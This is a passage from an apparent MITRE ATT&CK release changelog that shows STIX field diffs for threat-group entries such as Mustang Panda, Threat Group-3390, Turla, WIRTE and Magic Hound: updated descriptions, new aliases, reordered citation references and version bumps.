| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 21:11:44.216000+00:00 | 2022-04-11 16:43:52.231000+00:00 |
| description | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) |
| external_references[3]['description'] | (Citation: Recorded Future REDDELTA July 2020) | (Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 Europe March 2022) |
| external_references[5]['source_name'] | Crowdstrike MUSTANG PANDA June 2018 | Anomali MUSTANG PANDA October 2019 |
| external_references[5]['description'] | Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021. | Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021. |
| external_references[5]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/ | https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations |
| external_references[6]['source_name'] | Anomali MUSTANG PANDA October 2019 | Secureworks BRONZE PRESIDENT December 2019 |
| external_references[6]['description'] | Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021. | Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021. |
| external_references[6]['url'] | https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations | https://www.secureworks.com/research/bronze-president-targets-ngos |
| external_references[7]['source_name'] | Secureworks BRONZE PRESIDENT December 2019 | Recorded Future REDDELTA July 2020 |
| external_references[7]['description'] | Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021. | Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021. |
| external_references[7]['url'] | https://www.secureworks.com/research/bronze-president-targets-ngos | https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf |
| external_references[8]['source_name'] | Proofpoint TA416 November 2020 | Crowdstrike MUSTANG PANDA June 2018 |
| external_references[8]['description'] | Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021. | Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021. |
| external_references[8]['url'] | https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/ |
| external_references[9]['source_name'] | Recorded Future REDDELTA July 2020 | Proofpoint TA416 November 2020 |
| external_references[9]['description'] | Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021. | Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021. |
| external_references[9]['url'] | https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf | https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Proofpoint TA416 Europe March 2022', 'description': 'Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.', 'url': 'https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european'} |
[G0027] Threat Group-3390
Current version: 2.0
Version changed from: 1.5 → 2.0
|
|
|---|
| t | [Threat Group-3390](https://attack.mitre.org/groups/G0027) i | t | [Threat Group-3390](https://attack.mitre.org/groups/G0027) i |
| s a Chinese threat group that has extensively used strategic | | s a Chinese threat group that has extensively used strategic |
| Web compromises to target victims. (Citation: Dell TG-3390) | | Web compromises to target victims.(Citation: Dell TG-3390) |
| The group has been active since at least 2010 and has targe | | The group has been active since at least 2010 and has target |
| ted organizations in the aerospace, government, defense, tec | | ed organizations in the aerospace, government, defense, tech |
| hnology, energy, and manufacturing sectors. (Citation: Secur | | nology, energy, manufacturing and gambling/betting sectors.( |
| eWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMo | | Citation: SecureWorks BRONZE UNION June 2017)(Citation: Secu |
| use June 2018) | | relist LuckyMouse June 2018)(Citation: Trend Micro DRBContro |
| | | l February 2020) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Daniyal Naeem, BT Security', 'Kyaw Pyiyt Htet, @KyawPyiytHtet'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-12 19:21:39.120000+00:00 | 2022-04-11 18:05:20.983000+00:00 |
| description | [Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018) | [Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020) |
| external_references[1]['description'] | (Citation: Dell TG-3390) (Citation: Hacker News LuckyMouse June 2018) | (Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018) |
| external_references[2]['description'] | (Citation: Dell TG-3390) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Hacker News LuckyMouse June 2018) | (Citation: Dell TG-3390)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Hacker News LuckyMouse June 2018) |
| external_references[3]['description'] | (Citation: Gallagher 2015) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019) | (Citation: Gallagher 2015)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)(Citation: Trend Micro Iron Tiger April 2021) |
| external_references[4]['source_name'] | BRONZE UNION | Iron Tiger |
| external_references[4]['description'] | (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Nccgroup Emissary Panda May 2018) | (Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021) |
| external_references[5]['description'] | (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018) | (Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021) |
| external_references[6]['source_name'] | Iron Tiger | LuckyMouse |
| external_references[6]['description'] | (Citation: Hacker News LuckyMouse June 2018) | (Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021) |
| external_references[7]['source_name'] | LuckyMouse | BRONZE UNION |
| external_references[7]['description'] | (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018) | (Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018) |
| external_references[8]['source_name'] | Dell TG-3390 | Earth Smilodon |
| external_references[8]['description'] | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. | (Citation: Trend Micro Iron Tiger April 2021) |
| external_references[10]['source_name'] | Securelist LuckyMouse June 2018 | Dell TG-3390 |
| external_references[10]['description'] | Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018. | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. |
| external_references[10]['url'] | https://securelist.com/luckymouse-hits-national-data-center/86083/ | https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage |
| external_references[11]['source_name'] | Hacker News LuckyMouse June 2018 | Unit42 Emissary Panda May 2019 |
| external_references[11]['description'] | Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018. | Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. |
| external_references[11]['url'] | https://thehackernews.com/2018/06/chinese-watering-hole-attack.html | https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ |
| external_references[12]['source_name'] | Nccgroup Emissary Panda May 2018 | Gallagher 2015 |
| external_references[12]['description'] | Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018. | Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016. |
| external_references[12]['url'] | https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/ | http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ |
| external_references[13]['source_name'] | Gallagher 2015 | Hacker News LuckyMouse June 2018 |
| external_references[13]['description'] | Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016. | Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018. |
| external_references[13]['url'] | http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ | https://thehackernews.com/2018/06/chinese-watering-hole-attack.html |
| external_references[14]['source_name'] | Unit42 Emissary Panda May 2019 | Securelist LuckyMouse June 2018 |
| external_references[14]['description'] | Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. | Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018. |
| external_references[14]['url'] | https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ | https://securelist.com/luckymouse-hits-national-data-center/86083/ |
| x_mitre_version | 1.5 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | Earth Smilodon |
| external_references | | {'source_name': 'Trend Micro Iron Tiger April 2021', 'description': 'Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html'} |
| external_references | | {'source_name': 'Trend Micro DRBControl February 2020', 'description': 'Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf'} |
| external_references | | {'source_name': 'Nccgroup Emissary Panda May 2018', 'description': 'Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.', 'url': 'https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/'} |
[G0010] Turla
Current version: 3.0
Version changed from: 2.1 → 3.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://securelist.com/the-epic-turla-operation/65545/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-27 14:36:25.289000+00:00 | 2022-03-09 23:34:47.461000+00:00 |
| external_references[2]['source_name'] | Group 88 | IRON HUNTER |
| external_references[2]['description'] | (Citation: Leonardo Turla Penquin May 2020) | (Citation: Secureworks IRON HUNTER Profile) |
| external_references[3]['source_name'] | Belugasturgeon | Group 88 |
| external_references[3]['description'] | (Citation: Accenture HyperStack October 2020) | (Citation: Leonardo Turla Penquin May 2020) |
| external_references[4]['source_name'] | Waterbug | Belugasturgeon |
| external_references[4]['description'] | Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug) | (Citation: Accenture HyperStack October 2020) |
| external_references[5]['source_name'] | WhiteBear | Waterbug |
| external_references[5]['description'] | WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017) | Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug) |
| external_references[6]['source_name'] | VENOMOUS BEAR | WhiteBear |
| external_references[6]['description'] | (Citation: CrowdStrike VENOMOUS BEAR) | WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)(Citation: Talos TinyTurla September 2021) |
| external_references[7]['source_name'] | Snake | VENOMOUS BEAR |
| external_references[7]['description'] | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019) | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: Talos TinyTurla September 2021) |
| external_references[8]['source_name'] | Krypton | Snake |
| external_references[8]['description'] | (Citation: CrowdStrike VENOMOUS BEAR) | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)(Citation: Talos TinyTurla September 2021) |
| external_references[9]['source_name'] | Kaspersky Turla | Krypton |
| external_references[9]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. | (Citation: CrowdStrike VENOMOUS BEAR) |
| external_references[10]['source_name'] | ESET Gazer Aug 2017 | Kaspersky Turla |
| external_references[10]['description'] | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. | Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. |
| external_references[10]['url'] | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf | https://securelist.com/the-epic-turla-operation/65545/ |
| external_references[11]['source_name'] | CrowdStrike VENOMOUS BEAR | ESET Gazer Aug 2017 |
| external_references[11]['description'] | Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018. | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. |
| external_references[11]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/ | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
| external_references[12]['source_name'] | ESET Turla Mosquito Jan 2018 | CrowdStrike VENOMOUS BEAR |
| external_references[12]['description'] | ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. | Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018. |
| external_references[12]['url'] | https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/ |
| external_references[13]['source_name'] | Leonardo Turla Penquin May 2020 | ESET Turla Mosquito Jan 2018 |
| external_references[13]['description'] | Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. | ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. |
| external_references[13]['url'] | https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf | https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf |
| external_references[14]['source_name'] | Accenture HyperStack October 2020 | Secureworks IRON HUNTER Profile |
| external_references[14]['description'] | Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020. | Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022. |
| external_references[14]['url'] | https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity | http://www.secureworks.com/research/threat-profiles/iron-hunter |
| external_references[15]['source_name'] | Symantec Waterbug | Leonardo Turla Penquin May 2020 |
| external_references[15]['description'] | Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015. | Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. |
| external_references[15]['url'] | https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1 | https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf |
| external_references[16]['source_name'] | Securelist WhiteBear Aug 2017 | Accenture HyperStack October 2020 |
| external_references[16]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017. | Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020. |
| external_references[16]['url'] | https://securelist.com/introducing-whitebear/81638/ | https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity |
| external_references[17]['source_name'] | ESET Turla PowerShell May 2019 | Symantec Waterbug |
| external_references[17]['description'] | Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019. | Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015. |
| external_references[17]['url'] | https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ | https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1 |
| x_mitre_version | 2.1 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | IRON HUNTER |
| external_references | | {'source_name': 'Securelist WhiteBear Aug 2017', 'description': "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", 'url': 'https://securelist.com/introducing-whitebear/81638/'} |
| external_references | | {'source_name': 'Talos TinyTurla September 2021', 'description': 'Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.', 'url': 'https://blog.talosintelligence.com/2021/09/tinyturla.html'} |
| external_references | | {'source_name': 'ESET Turla PowerShell May 2019', 'description': 'Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.', 'url': 'https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/'} |
[G0090] WIRTE
Current version: 2.0
Version changed from: 1.2 → 2.0
|
|
|---|
| t | [WIRTE](https://attack.mitre.org/groups/G0090) is a threat g | t | [WIRTE](https://attack.mitre.org/groups/G0090) is a threat g |
| roup that has been active since at least August 2018. The gr | | roup that has been active since at least August 2018. [WIRTE |
| oup focuses on targeting Middle East defense and diplomats.( | | ](https://attack.mitre.org/groups/G0090) has targeted govern |
| Citation: Lab52 WIRTE Apr 2019) | | ment, diplomatic, financial, military, legal, and technology |
| | | organizations in the Middle East and Europe.(Citation: Lab5 |
| | | 2 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 14:50:57.491000+00:00 | 2022-04-15 19:50:19.478000+00:00 |
| description | [WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019) | [WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021) |
| x_mitre_version | 1.2 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Kaspersky WIRTE November 2021', 'description': 'Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022.', 'url': 'https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044'} |
Minor Version Changes
[G0046] FIN7
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Edward Millington'] |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-19 00:02:08.486000+00:00 | 2022-02-02 21:32:06.214000+00:00 |
| external_references[3]['description'] | ITG14 shares campaign overlap with FIN7.(Citation: IBM Ransomware Trends September 2020) | ITG14 shares campaign overlap with [FIN7](https://attack.mitre.org/groups/G0046).(Citation: IBM Ransomware Trends September 2020) |
| x_mitre_version | 2.0 | 2.1 |
[G0125] HAFNIUM
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-25 23:43:56.055000+00:00 | 2022-04-16 19:14:24.599000+00:00 |
| external_references[2]['source_name'] | Microsoft HAFNIUM March 2020 | Volexity Exchange Marauder March 2021 |
| external_references[2]['description'] | MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021. | Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021. |
| external_references[2]['url'] | https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ | https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/ |
| external_references[3]['source_name'] | Volexity Exchange Marauder March 2021 | Microsoft HAFNIUM March 2020 |
| external_references[3]['description'] | Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021. | MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021. |
| external_references[3]['url'] | https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/ | https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ |
| x_mitre_version | 1.0 | 1.1 |
[G0119] Indrik Spider
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 16:14:32.314000+00:00 | 2022-03-25 14:22:00.122000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
[G0094] Kimsuky
Current version: 3.1
Version changed from: 3.0 → 3.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Taewoo Lee, KISA'] |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 22:35:20.109000+00:00 | 2022-03-23 18:54:26.218000+00:00 |
| x_mitre_version | 3.0 | 3.1 |
[G0059] Magic Hound
Current version: 4.1
Version changed from: 4.0 → 4.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-04 13:12:54.646000+00:00 | 2022-04-17 13:09:12.889000+00:00 |
| external_references[1]['source_name'] | Magic Hound | Charming Kitten |
| external_references[1]['description'] | (Citation: Unit 42 Magic Hound Feb 2017) | (Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022) |
| external_references[2]['source_name'] | TA453 | APT35 |
| external_references[2]['description'] | (Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021) | (Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021)(Citation: Check Point APT35 CharmPower January 2022) |
| external_references[3]['source_name'] | COBALT ILLUSION | ITG18 |
| external_references[3]['description'] | (Citation: Secureworks COBALT ILLUSION Threat Profile) | (Citation: IBM ITG18 2020) |
| external_references[4]['source_name'] | Charming Kitten | Phosphorus |
| external_references[4]['description'] | (Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021) | (Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022) |
| external_references[5]['source_name'] | ITG18 | TA453 |
| external_references[5]['description'] | (Citation: IBM ITG18 2020) | (Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Check Point APT35 CharmPower January 2022) |
| external_references[6]['source_name'] | Phosphorus | COBALT ILLUSION |
| external_references[6]['description'] | (Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021) | (Citation: Secureworks COBALT ILLUSION Threat Profile) |
| external_references[7]['source_name'] | Newscaster | Magic Hound |
